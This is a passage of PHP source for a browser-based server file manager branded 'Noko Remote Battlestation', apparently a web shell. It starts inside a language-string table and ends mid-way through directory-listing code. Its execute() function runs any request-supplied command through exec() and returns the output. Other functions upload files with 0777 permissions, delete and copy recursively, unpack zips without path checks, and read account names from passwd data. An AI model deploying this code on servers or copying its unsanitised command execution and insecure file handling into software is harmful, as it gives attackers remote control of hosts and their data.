    $en['Write'] = 'Write';
    $en['Exec'] = 'Execute';
    $en['Apply'] = 'Apply';
    $en['StickyBit'] = 'Sticky Bit';
    $en['Pass'] = 'Password';
    $en['Lang'] = 'Language';
    $en['File'] = 'File';
    $en['File_s'] = 'file(s)';
    $en['Dir_s'] = 'directory(s)';
    $en['To'] = 'to';
    $en['Destination'] = 'Destination';
    $en['Configurations'] = 'Configurations';
    $en['JSError'] = 'JavaScript Error';
    $en['NoSel'] = 'There are no selected itens';
    $en['SelDir'] = 'Select the destination directory on the left tree';
    $en['TypeDir'] = 'Enter the directory name';
    $en['TypeArq'] = 'Enter the file name';
    $en['TypeCmd'] = 'Enter the command';
    $en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $en['RemSel'] = 'DELETE selected itens';
    $en['NoDestDir'] = 'There is no selected destination directory';
    $en['DestEqOrig'] = 'Origin and destination directories are equal';
    $en['InvalidDest'] = 'Destination directory is invalid';
    $en['NoNewPerm'] = 'New permission not set';
    $en['CopyTo'] = 'COPY to';
    $en['MoveTo'] = 'MOVE to';
    $en['AlterPermTo'] = 'CHANGE PERMISSIONS to';
    $en['ConfExec'] = 'Confirm EXECUTE';
    $en['ConfRem'] = 'Confirm DELETE';
    $en['EmptyDir'] = 'Empty directory';
    $en['IOError'] = 'I/O Error';
    $en['FileMan'] = 'Noko Remote Battlestation';
    $en['TypePass'] = 'Enter the password';
    $en['InvPass'] = 'Invalid Password';
    $en['ReadDenied'] = 'Read Access Denied';
    $en['FileNotFound'] = 'File not found';
    $en['AutoClose'] = 'Close on Complete';
    $en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';
    $en['NoCmd'] = 'Error: Command not informed';
    $en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway';
    $en['ConfSaved'] = 'Configurations saved';
    $en['PassSaved'] = 'Password saved';
    $en['FileDirExists'] = 'File or directory already exists';
    $en['NoPhpinfo'] = 'Function phpinfo disabled';
    $en['NoReturn'] = 'no return';
    $en['FileSent'] = 'File sent';
    $en['SpaceLimReached'] = 'Space limit reached';
    $en['InvExt'] = 'Invalid extension';
    $en['FileNoOverw'] = 'File could not be overwritten';
    $en['FileOverw'] = 'File overwritten';
    $en['FileIgnored'] = 'File ignored';
    $en['ChkVer'] = 'Check sf.net for new version';
    $en['ChkVerAvailable'] = 'New version, click here to begin download!!';
    $en['ChkVerNotAvailable'] = 'No new version available. :(';
    $en['ChkVerError'] = 'Connection Error.';
    $en['Website'] = 'Website';
    $en['SendingForm'] = 'Sending files, please wait';
    $en['NoFileSel'] = 'No file selected';
    $en['SelAll'] = 'All';
    $en['SelNone'] = 'None';
    $en['SelInverse'] = 'Inverse';
    $en['Selected_s'] = 'selected';
    $en['Total'] = 'total';
    $en['Partition'] = 'Partition';
    $en['RenderTime'] = 'Time to render this page';
    $en['Seconds'] = 'sec';
    $en['ErrorReport'] = 'Error Reporting';

$lang_ = $$lang;
    if (isset($lang_[$tag])) return htmlencode($lang_[$tag]);
    else return &quot;undefined&quot;;
}
// +--------------------------------------------------
// | File System
// +--------------------------------------------------
function total_size($arg) {
 $total = 0;
 if (file_exists($arg)) {
   if (is_dir($arg)) {
     $handle = opendir($arg);
     while($aux = readdir($handle)) {
       if ($aux != &quot;.&quot; &amp;&amp; $aux != &quot;..&quot;) $total += total_size($arg.&quot;/&quot;.$aux);
     }
     closedir($handle);
   } else $total = filesize($arg);
 }
 return $total;
}
function total_delete($arg) {
 if (file_exists($arg)) {
   chmod($arg,0777);
   if (is_dir($arg)) {
     $handle = opendir($arg);
     while($aux = readdir($handle)) {
       if ($aux != &quot;.&quot; &amp;&amp; $aux != &quot;..&quot;) total_delete($arg.&quot;/&quot;.$aux);
     }
     closedir($handle);
     rmdir($arg);
   } else unlink($arg);
 }
}
function total_copy($orig,$dest) {
 $ok = true;
 if (file_exists($orig)) {
   if (is_dir($orig)) {
     mkdir($dest,0777);
     $handle = opendir($orig);
     while(($aux = readdir($handle))&amp;&amp;($ok)) {
       if ($aux != &quot;.&quot; &amp;&amp; $aux != &quot;..&quot;) $ok = total_copy($orig.&quot;/&quot;.$aux,$dest.&quot;/&quot;.$aux);
     }
     closedir($handle);
   } else $ok = copy((string)$orig,(string)$dest);
 }
 return $ok;
}
function total_move($orig,$dest) {
    // Just why doesn't it has a MOVE alias?!
    return rename((string)$orig,(string)$dest);
}
function download(){
    global $dir_atual,$filename;
    $file = $dir_atual.$filename;
    if(file_exists($file)){
        $is_proibido = false;
        foreach($download_ext_filter as $key=&gt;$ext){
            if (eregi($ext,$filename)){
                $is_proibido = true;
                break;
            }
        }
        if (!$is_proibido){
            $size = filesize($file);
            header(&quot;Content-Type: application/save&quot;);
            header(&quot;Content-Length: $size&quot;);
            header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
            header(&quot;Content-Transfer-Encoding: binary&quot;);
            if ($fh = fopen(&quot;$file&quot;, &quot;rb&quot;)){
                fpassthru($fh);
                fclose($fh);
            } else alert(et('ReadDenied').&quot;: &quot;.$file);
        } else alert(et('ReadDenied').&quot;: &quot;.$file);
    } else alert(et('FileNotFound').&quot;: &quot;.$file);
}
function execute(){
    global $cmd;
    header(&quot;Content-type: text/plain&quot;);
    if (strlen($cmd)){
        echo &quot;# &quot;.$cmd.&quot;\n&quot;;
        exec($cmd,$mat);
        if (count($mat)) echo trim(implode(&quot;\n&quot;,$mat));
        else echo &quot;exec(\&quot;$cmd\&quot;) &quot;.et('NoReturn').&quot;...&quot;;
    } else echo et('NoCmd');
}
function save_upload($temp_file,$filename,$dir_dest) {
    global $upload_ext_filter;
    $filename = remove_acentos($filename);
    $file = $dir_dest.$filename;
    $filesize = filesize($temp_file);
    $is_proibido = false;
    foreach($upload_ext_filter as $key=&gt;$ext){
        if (eregi($ext,$filename)){
            $is_proibido = true;
            break;
        }
    }
    if (!$is_proibido){
        if (!limite($filesize)){
            if (file_exists($file)){
                if (unlink($file)){
                    if (copy($temp_file,$file)){
                        chmod($file,0777);
                        $out = 6;
                    } else $out = 2;
                } else $out = 5;
            } else {
                if (copy($temp_file,$file)){
                    chmod($file,0777);
                    $out = 1;
                } else $out = 2;
            }
        } else $out = 3;
    } else $out = 4;
    return $out;
}
function zip_extract(){
  global $cmd_arg,$dir_atual,$islinux;
  $zip = zip_open($dir_atual.$cmd_arg);
  if ($zip) {
    while ($zip_entry = zip_read($zip)) {
        if (zip_entry_filesize($zip_entry)) {
            $complete_path = $path.dirname(zip_entry_name($zip_entry));
            $complete_name = $path.zip_entry_name($zip_entry);
            if(!file_exists($complete_path)) {
                $tmp = '';
                foreach(explode('/',$complete_path) AS $k) {
                    $tmp .= $k.'/';
                    if(!file_exists($tmp)) {
                        @mkdir($dir_atual.$tmp, 0777);
                    }
                }
            }
            if (zip_entry_open($zip, $zip_entry, &quot;r&quot;)) {
                if ($fd = fopen($dir_atual.$complete_name, 'w')){
                    fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                    fclose($fd);
                } else echo &quot;fopen($dir_atual.$complete_name) error&lt;br&gt;&quot;;
                zip_entry_close($zip_entry);
            } else echo &quot;zip_entry_open($zip,$zip_entry) error&lt;br&gt;&quot;;
        }
    }
    zip_close($zip);
  }
}
// +--------------------------------------------------
// | Data Formating
// +--------------------------------------------------
function htmlencode($str){
    return htmlentities($str);
}
// html_entity_decode() replacement
function html_entity_decode_for_php4_compatibility ($string)  {
   $trans_tbl = get_html_translation_table (HTML_ENTITIES);
   $trans_tbl = array_flip ($trans_tbl);
   $ret = strtr ($string, $trans_tbl);
   return  preg_replace('/\&amp;\#([0-9]+)\;/me',
       &quot;chr('\\1')&quot;,$ret);
}
function htmldecode($str){
    if (is_string($str)){
       if (get_magic_quotes_gpc()) return stripslashes(html_entity_decode_for_php4_compatibility($str));
       else return html_entity_decode($str);
    } else return $str;
}
function rep($x,$y){
  if ($x) {
    $aux = &quot;&quot;;
    for ($a=1;$a&lt;=$x;$a++) $aux .= $y;
    return $aux;
  } else return &quot;&quot;;
}
function strzero($arg1,$arg2){
    if (strstr($arg1,&quot;-&quot;) == false){
        $aux = intval($arg2) - strlen($arg1);
        if ($aux) return rep($aux,&quot;0&quot;).$arg1;
        else return $arg1;
    } else {
        return &quot;[$arg1]&quot;;
    }
}
function replace_double($sub,$str){
    $out=str_replace($sub.$sub,$sub,$str);
    while ( strlen($out) != strlen($str) ){
        $str=$out;
        $out=str_replace($sub.$sub,$sub,$str);
    }
    return $out;
}
function remove_acentos($str){
    $str = trim($str);
    $str = strtr($str,&quot;!@#%&amp;*()[]{}+=?&quot;,
                      &quot;YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________&quot;);
    $str = str_replace(&quot;..&quot;,&quot;&quot;,str_replace(&quot;/&quot;,&quot;&quot;,str_replace(&quot;\\&quot;,&quot;&quot;,str_replace(&quot;\$&quot;,&quot;&quot;,$str))));
    return $str;
}
function formatpath($str){
    global $islinux;
    $str = trim($str);
    $str = str_replace(&quot;..&quot;,&quot;&quot;,str_replace(&quot;\\&quot;,&quot;/&quot;,str_replace(&quot;\$&quot;,&quot;&quot;,$str)));
    $done = false;
    while (!$done) {
        $str2 = str_replace(&quot;//&quot;,&quot;/&quot;,$str);
        if (strlen($str) == strlen($str2)) $done = true;
        else $str = $str2;
    }
    $tam = strlen($str);
    if ($tam){
        $last_char = $tam - 1;
        if ($str[$last_char] != &quot;/&quot;) $str .= &quot;/&quot;;
        if (!$islinux) $str = ucfirst($str);
    }
    return $str;
}
function array_csort() {
  $args = func_get_args();
  $marray = array_shift($args);
  $msortline = &quot;return(array_multisort(&quot;;
   foreach ($args as $arg) {
       $i++;
       if (is_string($arg)) {
          foreach ($marray as $row) {
               $sortarr[$i][] = $row[$arg];
           }
       } else {
          $sortarr[$i] = $arg;
       }
       $msortline .= &quot;\$sortarr[&quot;.$i.&quot;],&quot;;
   }
   $msortline .= &quot;\$marray));&quot;;
   eval($msortline);
   return $marray;
}
function show_perms( $in_Perms ) {
   $sP = &quot;&lt;b&gt;&quot;;
   if($in_Perms &amp; 0x1000) $sP .= 'p';            // FIFO pipe
   elseif($in_Perms &amp; 0x2000) $sP .= 'c';        // Character special
   elseif($in_Perms &amp; 0x4000) $sP .= 'd';        // Directory
   elseif($in_Perms &amp; 0x6000) $sP .= 'b';        // Block special
   elseif($in_Perms &amp; 0x8000) $sP .= '&amp;minus;';    // Regular
   elseif($in_Perms &amp; 0xA000) $sP .= 'l';        // Symbolic Link
   elseif($in_Perms &amp; 0xC000) $sP .= 's';        // Socket
   else $sP .= 'u';                              // UNKNOWN
   $sP .= &quot;&lt;/b&gt;&quot;;
   // owner - group - others
   $sP .= (($in_Perms &amp; 0x0100) ? 'r' : '&amp;minus;') . (($in_Perms &amp; 0x0080) ? 'w' : '&amp;minus;') . (($in_Perms &amp; 0x0040) ? (($in_Perms &amp; 0x0800) ? 's' : 'x' ) : (($in_Perms &amp; 0x0800) ? 'S' : '&amp;minus;'));
   $sP .= (($in_Perms &amp; 0x0020) ? 'r' : '&amp;minus;') . (($in_Perms &amp; 0x0010) ? 'w' : '&amp;minus;') . (($in_Perms &amp; 0x0008) ? (($in_Perms &amp; 0x0400) ? 's' : 'x' ) : (($in_Perms &amp; 0x0400) ? 'S' : '&amp;minus;'));
   $sP .= (($in_Perms &amp; 0x0004) ? 'r' : '&amp;minus;') . (($in_Perms &amp; 0x0002) ? 'w' : '&amp;minus;') . (($in_Perms &amp; 0x0001) ? (($in_Perms &amp; 0x0200) ? 't' : 'x' ) : (($in_Perms &amp; 0x0200) ? 'T' : '&amp;minus;'));
   return $sP;
}
function formatsize($arg) {
    if ($arg&gt;0){
        $j = 0;
        $ext = array(&quot; bytes&quot;,&quot; Kb&quot;,&quot; Mb&quot;,&quot; Gb&quot;,&quot; Tb&quot;);
        while ($arg &gt;= pow(1024,$j)) ++$j;
        return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
    } else return &quot;0 Mb&quot;;
}
function getsize($file) {
    return formatsize(filesize($file));
}
function limite($new_filesize=0) {
    global $fm_root_atual;
    global $quota_mb;
    if($quota_mb){
        $total = total_size($fm_root_atual);
        if (floor(($total+$new_filesize)/(1024*1024)) &gt; $quota_mb) return true;
    }
    return false;
}
function getuser ($arg) {
    global $mat_passwd;
    $aux = &quot;x:&quot;.trim($arg).&quot;:&quot;;
    for($x=0;$x&lt;count($mat_passwd);$x++){
        if (strstr($mat_passwd[$x],$aux)){
         $mat = explode(&quot;:&quot;,$mat_passwd[$x]);
         return $mat[0];
        }
    }
    return $arg;
}
function getgroup ($arg) {
    global $mat_group;
    $aux = &quot;x:&quot;.trim($arg).&quot;:&quot;;
    for($x=0;$x&lt;count($mat_group);$x++){
        if (strstr($mat_group[$x],$aux)){
         $mat = explode(&quot;:&quot;,$mat_group[$x]);
         return $mat[0];
        }
    }
    return $arg;
}
// +--------------------------------------------------
// | Interface
// +--------------------------------------------------
function html_header($plus=&quot;&quot;){
    global $fm_color;
echo &quot;
&lt;html&gt;
&lt;head&gt;
&lt;script language='javascript'&gt;
// (c) Premshree Pillai
// http://www.qiksearch.com
// premshree@hotmail.com
// Use freely as long as this message is intact.
var msg = '...:::: &quot;.et('FileMan').&quot; ';
var pos = 0;
var spacer = ' ... ';
var time_length = 100;
function ScrollTitle()
{
document.title = msg.substring(pos, msg.length) + spacer + msg.substring(0, pos);
pos++;
if (pos &gt; msg.length) pos=0;
window.setTimeout('ScrollTitle()',time_length);
}
ScrollTitle();
&lt;/script&gt; 
&lt;meta http-equiv=\&quot;Content-Type\&quot; content=\&quot;text/html; charset=iso-8859-1\&quot;&gt;
$plus
&lt;/head&gt;
&lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
&lt;!--
    function Is(){
        this.appname = navigator.appName;
        this.appversion = navigator.appVersion;
        this.platform = navigator.platform;
        this.useragent = navigator.userAgent.toLowerCase();
        this.ie = ( this.appname == 'Microsoft Internet Explorer' );
        if (( this.useragent.indexOf( 'mac' ) != -1 ) || ( this.platform.indexOf( 'mac' ) != -1 )){
            this.sisop = 'mac';
            
        } else if (( this.useragent.indexOf( 'windows' ) != -1 ) || ( this.platform.indexOf( 'win32' ) != -1 )){
            this.sisop = 'windows';
        } else if (( this.useragent.indexOf( 'inux' ) != -1 ) || ( this.platform.indexOf( 'linux' ) != -1 )){
            this.sisop = 'linux';
        }
    }
    var is = new Is();
    function enterSubmit(keypressEvent,submitFunc){
        var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which
        if( kCode == 13) eval(submitFunc);
    }
    var W = screen.width;
    var H = screen.height;
    var FONTSIZE = 0;
    switch (W){
        case 640:
            FONTSIZE = 8;
        break;
        case 800:
            FONTSIZE = 10;
        break;
        case 1024:
            FONTSIZE = 12;
        break;
        default:
            FONTSIZE = 14;
        break;
    }
&quot;;
echo replace_double(&quot; &quot;,str_replace(chr(13),&quot;&quot;,str_replace(chr(10),&quot;&quot;,&quot;
    document.writeln('
    &lt;style&gt;
    body {
        font-family : Arial;
        font-size: '+FONTSIZE+'px;
        font-weight : normal;
        color: &quot;.$fm_color['Text'].&quot;;
        background-color: &quot;.$fm_color['Bg'].&quot;;
    }
    table {
        font-family : Arial;
        font-size: '+FONTSIZE+'px;
        font-weight : normal;
        color: &quot;.$fm_color['Text'].&quot;;
        cursor: default;
    }
    input {
        font-family : Arial;
        font-size: '+FONTSIZE+'px;
        font-weight : normal;
        color: &quot;.$fm_color['Text'].&quot;;
    }
    textarea {
        font-family : Courier;
        font-size: 12px;
        font-weight : normal;
        color: &quot;.$fm_color['Text'].&quot;;
    }
    A {
        font-family : Arial;
        font-size : '+FONTSIZE+'px;
        font-weight : bold;
        text-decoration: none;
        color: &quot;.$fm_color['Text'].&quot;;
    }
    A:link {
        color: &quot;.$fm_color['Text'].&quot;;
    }
    A:visited {
        color: &quot;.$fm_color['Text'].&quot;;
    }
    A:hover {
        color: &quot;.$fm_color['Link'].&quot;;
    }
    A:active {
        color: &quot;.$fm_color['Text'].&quot;;
    }
    &lt;/style&gt;
    ');
&quot;)));
echo &quot;
//--&gt;
&lt;/script&gt;
&quot;;
}
function reloadframe($ref,$frame_number,$plus=&quot;&quot;){
    global $dir_atual,$path_info;
    echo &quot;
    &lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
    &lt;!--
        &quot;.$ref.&quot;.frame&quot;.$frame_number.&quot;.location.href='&quot;.$path_info[&quot;basename&quot;].&quot;?frame=&quot;.$frame_number.&quot;&amp;dir_atual=&quot;.$dir_atual.$plus.&quot;';
    //--&gt;
    &lt;/script&gt;
    &quot;;
}
function alert($arg){
    echo &quot;
    &lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
    &lt;!--
        alert('$arg');
    //--&gt;
    &lt;/script&gt;
    &quot;;
}
function tree($dir_antes,$dir_corrente,$indice){
    global $fm_root_atual, $dir_atual, $islinux;
    global $expanded_dir_list;
    $indice++;
    $num_dir = 0;
    $dir_name = str_replace($dir_antes,&quot;&quot;,$dir_corrente);
    $dir_corrente = str_replace(&quot;//&quot;,&quot;/&quot;,$dir_corrente);
    $is_proibido = false;
    if ($islinux) {
        $proibidos = &quot;/proc#/dev&quot;;
        $mat = explode(&quot;#&quot;,$proibidos);
        foreach($mat as $key =&gt; $val){
            if ($dir_corrente == $val){
                $is_proibido = true;
                break;
            }
        }
        unset($mat);
    }
    if (!$is_proibido){
        if ($handle = @opendir($dir_corrente)){
            // Permitido
            while ($file = readdir($handle)){
                if ($file != &quot;.&quot; &amp;&amp; $file != &quot;..&quot; &amp;&amp; is_dir(&quot;$dir_corrente/$file&quot;))
                    $mat_dir[] = $file;
            }
            closedir($handle);
            if (count($mat_dir)){
                sort($mat_dir,SORT_STRING);
                // Con Sub-dir
                if ($indice != 0){
                    for ($aux=1;$aux&lt;$indice;$aux++) echo &quot;    &quot;;
                    echo &quot;&quot;;
                }
                if ($dir_antes != $dir_corrente){
                    if (strstr($expanded_dir_list,&quot;:$dir_corrente/$dir_name&quot;)) $op_str = &quot;[]&quot;;
                    else $op_str = &quot;[+]&quot;;
                    echo &quot; &lt;a href=\&quot;JavaScript:go_dir('$dir_corrente/$dir_name')\&quot;&gt;&lt;b&gt;$op_str&lt;/b&gt;&lt;/a&gt; &lt;a href=\&quot;JavaScript:go('$dir_corrente')\&quot;&gt;&lt;b&gt;$dir_name&lt;/b&gt;&lt;/a&gt;&lt;br&gt;\n&quot;;
                } else {
                    echo &quot;&lt;a href=\&quot;JavaScript:go('$dir_corrente')\&quot;&gt;&lt;b&gt;$fm_root_atual&lt;/b&gt;&lt;/a&gt;&lt;br&gt;\n&quot;;
                }
                for ($x=0;$x&lt;count($mat_dir);$x++){
                    if (($dir_antes == $dir_corrente)||(strstr($expanded_dir_list,&quot;:$dir_corrente/$dir_name&quot;))){
                        tree($dir_corrente.&quot;/&quot;,$dir_corrente.&quot;/&quot;.$mat_dir[$x],$indice);
                    } else flush();
                }
            } else {
              // Sin Sub-dir
              if ($dir_antes != $dir_corrente){
                for ($aux=1;$aux&lt;$indice;$aux++) echo &quot;    &quot;;
                echo &quot;&quot;;
                echo &quot;&lt;a href=\&quot;JavaScript:go('$dir_corrente')\&quot;&gt; &lt;b&gt;$dir_name&lt;/b&gt;&lt;/a&gt;&lt;br&gt;\n&quot;;
              } else {
                echo &quot;&lt;a href=\&quot;JavaScript:go('$dir_corrente')\&quot;&gt; &lt;b&gt;$fm_root_atual&lt;/b&gt;&lt;/a&gt;&lt;br&gt;\n&quot;;
              }
            }
        } else {
            // Negado
            if ($dir_antes != $dir_corrente){
                for ($aux=1;$aux&lt;$indice;$aux++) echo &quot;    &quot;;
                echo &quot;&quot;;
                echo &quot;&lt;a href=\&quot;JavaScript:go('$dir_corrente')\&quot;&gt;&lt;font color=red&gt; &lt;b&gt;$dir_name&lt;/b&gt;&lt;/font&gt;&lt;/a&gt;&lt;br&gt;\n&quot;;
            } else {
                echo &quot;&lt;a href=\&quot;JavaScript:go('$dir_corrente')\&quot;&gt;&lt;font color=red&gt; &lt;b&gt;$fm_root_atual&lt;/b&gt;&lt;/font&gt;&lt;/a&gt;&lt;br&gt;\n&quot;;
            }

}
    } else {
        // Prohibido
        if ($dir_antes != $dir_corrente){
            for ($aux=1;$aux&lt;$indice;$aux++) echo &quot;    &quot;;
            echo &quot;&quot;;
            echo &quot;&lt;a href=\&quot;JavaScript:go('$dir_corrente')\&quot;&gt;&lt;font color=red&gt; &lt;b&gt;$dir_name&lt;/b&gt;&lt;/font&gt;&lt;/a&gt;&lt;br&gt;\n&quot;;
        } else {
            echo &quot;&lt;a href=\&quot;JavaScript:go('$dir_corrente')\&quot;&gt;&lt;font color=red&gt; &lt;b&gt;$fm_root_atual&lt;/b&gt;&lt;/font&gt;&lt;/a&gt;&lt;br&gt;\n&quot;;
        }
    }
}
function show_tree(){
    global $fm_root_atual,$path_info,$setflag,$islinux;
    html_header();
    echo &quot;&lt;body marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot;&gt;\n&quot;;
    echo &quot;
    &lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
    &lt;!--
        // Disable text selection
        function disableTextSelection(e){return false}
        function enableTextSelection(){return true}
        if (is.ie) document.onselectstart=new Function('return false')
        else {
            document.onmousedown=disableTextSelection
            document.onclick=enableTextSelection
        }
        var flag = &quot;.(($setflag)?&quot;true&quot;:&quot;false&quot;).&quot;
        function set_flag(arg) {
            flag = arg;
        }
        function go_dir(arg) {
            var setflag;
            setflag = (flag)?1:0;
            document.location.href='&quot;.$path_info[&quot;basename&quot;].&quot;?frame=2&amp;setflag='+setflag+'&amp;dir_atual=$dir_atual&amp;ec_dir='+arg;
        }
        function go(arg) {
            if (flag) {
                parent.frame3.set_dir_dest(arg+'/');
                flag = false;
            } else {
                parent.frame3.location.href='&quot;.$path_info[&quot;basename&quot;].&quot;?frame=3&amp;dir_atual='+arg+'/';
            }
        }
        function set_fm_root_atual(arg){
            document.location.href='&quot;.$path_info[&quot;basename&quot;].&quot;?frame=2&amp;set_fm_root_atual='+escape(arg);
        }
        function atualizar(){
            document.location.href='&quot;.$path_info[&quot;basename&quot;].&quot;?frame=2';
        }
    //--&gt;
    &lt;/script&gt;
    &quot;;
    echo &quot;&lt;table bordercolor=ffffff  width=\&quot;100%\&quot; height=\&quot;100%\&quot; border=0 cellspacing=0 cellpadding=5&gt;\n&quot;;
    echo &quot;&lt;form&gt;&lt;tr valign=top height=10&gt;&lt;td&gt;&quot;;
    if (!$islinux){
        echo &quot;&lt;select name=drive onchange=\&quot;set_fm_root_atual(this.value)\&quot;&gt;&quot;;
        $aux=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;;
        for($x=0;$x&lt;strlen($aux);$x++){
            if (strstr(strtoupper($fm_root_atual),$aux[$x].&quot;:/&quot;)) $is_sel=&quot;selected&quot;;
            else $is_sel=&quot;&quot;;
            echo &quot;&lt;option $is_sel value=\&quot;&quot;.$aux[$x].&quot;:/\&quot;&gt;&quot;.$aux[$x].&quot;:/&quot;;
        }
        echo &quot;&lt;/select&gt; &quot;;
    }
    echo &quot;&lt;input type=button value=&quot;.et('Refresh').&quot; onclick=\&quot;atualizar()\&quot;&gt;&lt;/tr&gt;&lt;/form&gt;&quot;;
    //if (!$islinux) $aux=substr($fm_root_atual,0,strlen($fm_root_atual)-1);
    //else
    $aux=$fm_root_atual;
    echo &quot;&lt;tr valign=top&gt;&lt;td&gt;&quot;;
            clearstatcache();
            tree($aux,$aux,-1,0);
    echo &quot;&lt;/td&gt;&lt;/tr&gt;&quot;;
    echo &quot;
        &lt;form name=\&quot;login_form\&quot; action=\&quot;&quot;.$path_info[&quot;basename&quot;].&quot;\&quot; method=\&quot;post\&quot; target=\&quot;_parent\&quot;&gt;
        &lt;input type=hidden name=action value=1&gt;
        &lt;tr&gt;
        &lt;td height=10 colspan=2&gt;&lt;input type=submit value=\&quot;&quot;.et('Leave').&quot;\&quot;&gt;
        &lt;/tr&gt;
        &lt;/form&gt;
    &quot;;
    echo &quot;&lt;/table&gt;\n&quot;;
    echo &quot;&lt;/body&gt;\n&lt;/html&gt;&quot;;
}
function getmicrotime(){
   list($usec, $sec) = explode(&quot; &quot;, microtime());
   return ((float)$usec + (float)$sec);
}
function dir_list_form() {
    global $fm_root_atual,$dir_atual,$quota_mb,$resolveIDs,$order_dir_list_by,$islinux,$cmd_name,$ip,$is_reachable,$path_info,$fm_color;
    $ti = getmicrotime();
    clearstatcache();
    $out = &quot;&lt;table bordercolor=ffffff  border=0 cellspacing=1 cellpadding=4 width=\&quot;100%\&quot; bgcolor=\&quot;#000000\&quot;&gt;\n&quot;;
    if ($opdir = @opendir($dir_atual)) {
        $entry_count = 0;
        $file_count = 0;
        $dir_count = 0;
        $total_size = 0;
        $uplink = &quot;&quot;;
        $entry_list = array();
        $highlight_cols = 0;

while ($file = readdir($opdir)) {
          if (($file != &quot;.&quot;)&amp;&amp;($file != &quot;..&quot;)){
            if (is_file($dir_atual.$file)){
                $ext = strtolower(strrchr($file,&quot;.&quot;));
                $entry_list[$entry_count][&quot;type&quot;] = &quot;file&quot;;
                // Funo filetype() returns only &quot;file&quot;...
                $entry_list[$entry_count][&quot;size&quot;] = filesize($dir_atual.$file);
                $entry_list[$entry_count][&quot;sizet&quot;] = getsize($dir_atual.$file);
                if (strstr($ext,&quot;.&quot;)){
                    $entry_list[$entry_count][&quot;ext&quot;] = $ext;
                    $entry_list[$entry_count][&quot;extt&quot;] = $ext;
                } else {
                    $entry_list[$entry_count][&quot;ext&quot;] = &quot;&quot;;
                    $entry_list[$entry_count][&quot;extt&quot;] = &quot; &quot;;
                }
                $file_count++;
            } elseif (is_dir($dir_atual.$file)) {
                // Recursive directory size disabled
                // $entry_list[$entry_count][&quot;size&quot;] = total_size($dir_atual.$file);
                $entry_list[$entry_count][&quot;size&quot;] = 0;
                $entry_list[$entry_count][&quot;sizet&quot;] = 0;
                $entry_list[$entry_count][&quot;type&quot;] = &quot;dir&quot;;
                $dir_count++;
            }
            $entry_list[$entry_count][&quot;name&quot;] = $file;
            $entry_list[$entry_count][&quot;date&quot;] = date(&quot;Ymd&quot;, filemtime($dir_atual.$file));
            $entry_list[$entry_count][&quot;time&quot;] = date(&quot;his&quot;, filemtime($dir_atual.$file));
            $entry_list[$entry_count][&quot;datet&quot;] = date(&quot;d/m/Y h:i:s&quot;, filemtime($dir_atual.$file));
            if ($islinux &amp;&amp; $resolveIDs){
                $entry_list[$entry_count][&quot;p&quot;] = show_perms(fileperms($dir_atual.$file));
                $entry_list[$entry_count][&quot;u&quot;] = getuser(fileowner($dir_atual.$file));
                $entry_list[$entry_count][&quot;g&quot;] = getgroup(filegroup($dir_atual.$file));
            } else {
                $entry_list[$entry_count][&quot;p&quot;] = base_convert(fileperms($dir_atual.$file),10,8);
                $entry_list[$entry_count][&quot;p&quot;] = substr($entry_list[$entry_count][&quot;p&quot;],strlen($entry_list[$entry_count][&quot;p&quot;])-3);
                $entry_list[$entry_count][&quot;u&quot;] = fileowner($dir_atual.$file);
                $entry_list[$entry_count][&quot;g&quot;] = filegroup($dir_atual.$file);
            }
            $total_size += $entry_list[$entry_count][&quot;size&quot;];
            $entry_count++;
          }
        }
        closedir($opdir);

if ($file_count) $highlight_cols = ($islinux)?7:5;
        else $highlight_cols = ($islinux)?6:4;

if($entry_count){
            $or1=&quot;1A&quot;;
            $or2=&quot;2D&quot;;
            $or3=&quot;3A&quot;;
            $or4=&quot;4A&quot;;
            $or5=&quot;5A&quot;;
            $or6=&quot;6D&quot;;
            $or7=&quot;7D&quot;;
            switch($order_dir_list_by){
                case &quot;1A&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;name&quot;,SORT_STRING,SORT_ASC); $or1=&quot;1D&quot;; break;
                case &quot;1D&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;name&quot;,SORT_STRING,SORT_DESC); $or1=&quot;1A&quot;; break;
                case &quot;2A&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;p&quot;,SORT_STRING,SORT_ASC,&quot;g&quot;,SORT_STRING,SORT_ASC,&quot;u&quot;,SORT_STRING,SORT_ASC); $or2=&quot;2D&quot;; break;
                case &quot;2D&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;p&quot;,SORT_STRING,SORT_DESC,&quot;g&quot;,SORT_STRING,SORT_ASC,&quot;u&quot;,SORT_STRING,SORT_ASC); $or2=&quot;2A&quot;; break;
                case &quot;3A&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;u&quot;,SORT_STRING,SORT_ASC,&quot;g&quot;,SORT_STRING,SORT_ASC); $or3=&quot;3D&quot;; break;
                case &quot;3D&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;u&quot;,SORT_STRING,SORT_DESC,&quot;g&quot;,SORT_STRING,SORT_ASC); $or3=&quot;3A&quot;; break;
                case &quot;4A&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;g&quot;,SORT_STRING,SORT_ASC,&quot;u&quot;,SORT_STRING,SORT_DESC); $or4=&quot;4D&quot;; break;
